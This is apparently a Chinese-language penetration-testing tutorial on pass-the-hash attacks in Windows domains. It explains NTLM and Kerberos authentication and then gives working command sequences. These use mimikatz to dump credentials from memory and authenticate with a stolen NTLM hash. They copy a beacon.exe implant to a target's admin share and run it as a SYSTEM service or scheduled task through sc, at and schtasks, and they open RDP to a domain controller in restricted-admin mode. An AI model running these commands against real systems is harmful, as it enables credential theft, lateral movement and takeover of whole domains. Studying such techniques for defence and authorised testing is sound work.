哈希传递

哈希传递就是ntlm哈希

概念

早期SMB协议铭⽂在⽹络上传输数据,后来诞⽣了LM验证机制,LM机制由于过于简 单,微软提出了WindowsNT挑战/响应机制,这就是NTLM

LM

哈希传递_第1张图片

NTLM

哈希传递_第2张图片


哈希传递攻击是针对相同密码的用户认证直接发起攻击,如果当域内的其他主机密码和实现主机上的密码一致,那hash值就一直,hash值一致的情况下,可以不需要明文密码登陆对方的远程桌面,查看对方主机的C盘,文件等操作。


原理

哈希传递是能够在不需要账号明⽂密码的情况下完成认证的⼀个技术,⽐如NTLM Hash、 LM Hash都不需要明⽂密码因此都可以被称为Hash传递攻击。

NTLM验证靠HASH值

1.获得⼀台域主机的权限

2.Dump内存获得⽤⼾hash

3.通过pass the hash尝试登录其他主机

4.继续搜集hash并尝试远程登录

5.直到获得域管理员账⼾hash,登录域控,最终成功控制整个域

认证流程:

1、client发送账户名user到server

2、server判断本地账户名是否存在,没有则失败,有的话生成challenge,查找user
对应的NTLM哈希,使用哈希加密challenge,生成一个net-ntlm hash存在内存中,将
challenge发送给client

3、client接受到challenge以后,将自己的密码转换成NTLM哈希,用生成的哈希加密
challenge生成response,发送response给server

4、server对比自己内存中的net-ntlm hash与client发来的response是否一致

注意:challenge每次认证都不一样,是一个随机生成的16字节随机数,response的形
势与server生成的net-ntlm hash一个格式

通过认证流程我们不难看出,只要有NTLM哈希在⼿,哪怕不知道明⽂密码也可以完 成NTLM的认证

哈希传递_第3张图片

利用

hash传递浏览上传⽂件 ☁

当域内的⽤⼾想要访问域中的某个服务时,输⼊⽤⼾名和密码访问,本机kerberos服 务会向KDC的AS认证服务发送⼀个AS-REQ认证请求。该请求包中包含: 请求的⽤⼾ 名、客⼾端主机名、加密类型 和 Authenticator(⽤⼾NTLM Hash加密的时间戳)以及 ⼀些其他信息

在AS-REQ阶段,是⽤⽤⼾密码Hash加密的Authenticator,所以也就造成了hash传 递。我们只需要获取域⽤⼾Hash,同时⽬标机器开放smb服务,就可以进⾏Hash传 递攻击。

mimikatz

privilege::debug 提升权限(注:需以管理员权限运行)
sekurlsa::logonpasswords 获取内存中保存的登录信息
sekurlsa::pth /user:administrator /domain:qf.com   /ntlm:a803cf45d87009c404eb89df4b1ae94c
弹出新窗口
dir \\10.10.10.254\c$

哈希传递_第4张图片

哈希传递_第5张图片

哈希传递_第6张图片

#sc命令创建计划任务
copy beacon.exe \\10.10.10.254\c$
#sc命令远程创建名为test的服务
sc \\10.10.10.254 create test binpath= "c:\beacon.exe"
#远程查询名为test的服务
sc \\10.10.10.254 query test
#远程启动名为test的服务
sc \\10.10.10.254 start test
#远程删除名为test的服务
sc \\10.10.10.254 delete test
#at命令(计划任务) at命令在早期的Windows系统中⽀持,⽽新版本Windows已经⽤
schtasks命令取代at命令了。
#查看⽬标系统时间
net time \\10.10.10.254
#将本⽬录下的指定⽂件复制到⽬标系统中
copy vps.exe \10.10.10.254\c$
#使⽤at创建计划任务
at \10.10.10.254 14:37 C:\vps.exe
#清除at记录
at \10.10.10.254 做业ID /delete
#使⽤at命令执⾏,将执⾏结果写⼊本地⽂本⽂件,再使⽤type命令查看该⽂件的内容
at \10.10.10.254 17:00:00 cmd.exe /c "ipconfig > C:/1.txt "
#查看⽣成的1.txt⽂件
type \10.10.10.254\C$\1.txt
#schtasks命令(计划任务)
#在⽬标主机10.10.10.254上创建⼀个名为test的计划任务,启动权限为system,启动
时间为每隔⼀⼩时启动⼀次
schtasks /create /s 10.10.10.254 /tn test /sc HOURLY /mo 1 /tr
c:\beacon.exe /ru system /f /U administrator /P 1234.com
其他启动时间参数:
/sc HOURLY 每⼩时启动⼀次
/sc onlogon ⽤户登录时启动
/sc onstart 系统启动时启动
/sc onidle 系统空闲时启动
#查询该test计划任务
schtasks /query /s 10.10.10.254 /U administrator -P 1234.com |
findstr test
#启动该test计划任务
schtasks /run /s 10.10.10.254 /i /tn "test" /U administrator -P
1234.com
#删除该test计划任务
schtasks /delete /s 10.10.10.254 /tn "test" /f /U administrator -P
1234.com
hash传递获取域控RDP
privilege::debug
sekurlsa::pth /user:administrator /domain:xiusafe.com
/ntlm:a803cf45d87009c404eb89df4b1ae94c "/run:mstsc.exe
/restrictedadmin"

哈希传递_第7张图片

如果域控这个位置是灰⾊那就不允许这种⽅式登录,注册表还能挣扎⼀下

你可能感兴趣的:(内网渗透,哈希算法,内网)